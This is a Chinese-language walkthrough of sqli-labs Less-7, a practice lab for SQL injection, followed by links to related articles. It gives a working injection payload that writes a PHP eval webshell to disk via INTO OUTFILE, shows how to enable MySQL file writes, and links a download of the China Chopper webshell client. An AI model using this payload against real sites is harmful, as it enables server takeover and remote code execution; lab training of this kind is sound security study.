sqli-lab教程Less-7

简介: sqli-lab教程Less-7

Less-7


使用中国菜刀连接,拿到shell。


1.开启写入权限


使用show variables like '%secure%'在MySQL命令行中判断

show variables like '%secure%';


如果这里为Null就没有写入权限


2.如何修改本地写入权限


通过修改 MySQL 下的 my.ini 配置文件就可以启用权限,需要把下面这个字符串写入文件中。


secure_file_priv="/"


再次查看此参数,若参数值不为 null 则修改成功。


3.判断注入


使用单引号报错,但使用- - +注释符未回显正常,继续探测…


当使用单引号+双括号探测时,使用- -+回显正常,成功找到注入点。


使用into outfile写入函数

?id=1')) union select 1,2,'<?php @eval($_POST["caidao"]);?>' into outfile "写入自己的路径"--+



WebShell


使用中国菜刀连接


连接成功


还可以使用终端打开,可见一句话被写入的危害。


中国菜刀安装包(此包从GitHub下载无后门):


https://pan.baidu.com/s/1MCY4TDR_xJwZPFKKvse4Ig


提取码:nw6x

目录
相关文章
|
安全
sqli-lab教程Less-8
sqli-lab教程Less-8
217 0
|
安全
sqli-lab教程Less-9
sqli-lab教程Less-9
163 0
|
安全 PHP
ctfshow-萌新-web13( 利用代码执行漏洞获取网站敏感文件)
ctf.show 萌新模块 web13关, 这一关的考点是代码执行漏洞, 需要灵活的运用各种命令执行函数, 源码中过滤了system, exec, highlight函数, cat命令, congfig, php, 点和分号等关键字, 推荐使用反引号`` 进行绕过
614 0
ctfshow-萌新-web13( 利用代码执行漏洞获取网站敏感文件)
|
Java Shell 应用服务中间件
Mac系统下配置环境变量:Javajdk、maven、tomcat 环境变量配置及对应配置文件
这篇文章介绍了如何在Mac系统下配置Java JDK、Maven和Tomcat的环境变量,包括配置文件的选择、解决环境变量在zsh shell中无效的问题、查看和设置系统环境变量的方法,以及JDK和Maven的下载、配置和测试步骤。
5567 1
Mac系统下配置环境变量:Javajdk、maven、tomcat 环境变量配置及对应配置文件
|
前端开发 JavaScript API
前端:事件循环/异步
前端开发中的事件循环和异步处理是核心机制,用于管理任务执行、性能优化及响应用户操作,确保网页流畅运行。事件循环负责调度任务,而异步则通过回调、Promise等实现非阻塞操作。
|
SQL 关系型数据库 MySQL
[网络安全]sqli-labs Less-7 解题详析
[网络安全]sqli-labs Less-7 解题详析
374 0
|
负载均衡 监控 算法
揭秘负载均衡的五大算法秘籍:让你的服务器轻松应对亿万流量,不再崩溃!
【8月更文挑战第31天】在互联网快速发展的今天,高可用性和可扩展性成为企业关注的重点。负载均衡作为关键技术,通过高效分配网络流量提升系统处理能力。本文介绍了轮询、加权轮询、最少连接及IP哈希等常见负载均衡算法及其应用场景,并提供Nginx配置示例。此外,还探讨了如何根据业务需求选择合适算法、配置服务器权重、实现高可用方案、监控性能及定期维护等最佳实践,助力系统优化与用户体验提升。
410 2
|
SQL Web App开发 前端开发
【less-11】基于SQLI的POST字符型SQL注入
【less-11】基于SQLI的POST字符型SQL注入
|
IDE 开发工具 Python
Python中IndentationError(缩进错误)
【5月更文挑战第13天】
1382 6
|
SQL 安全 测试技术
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs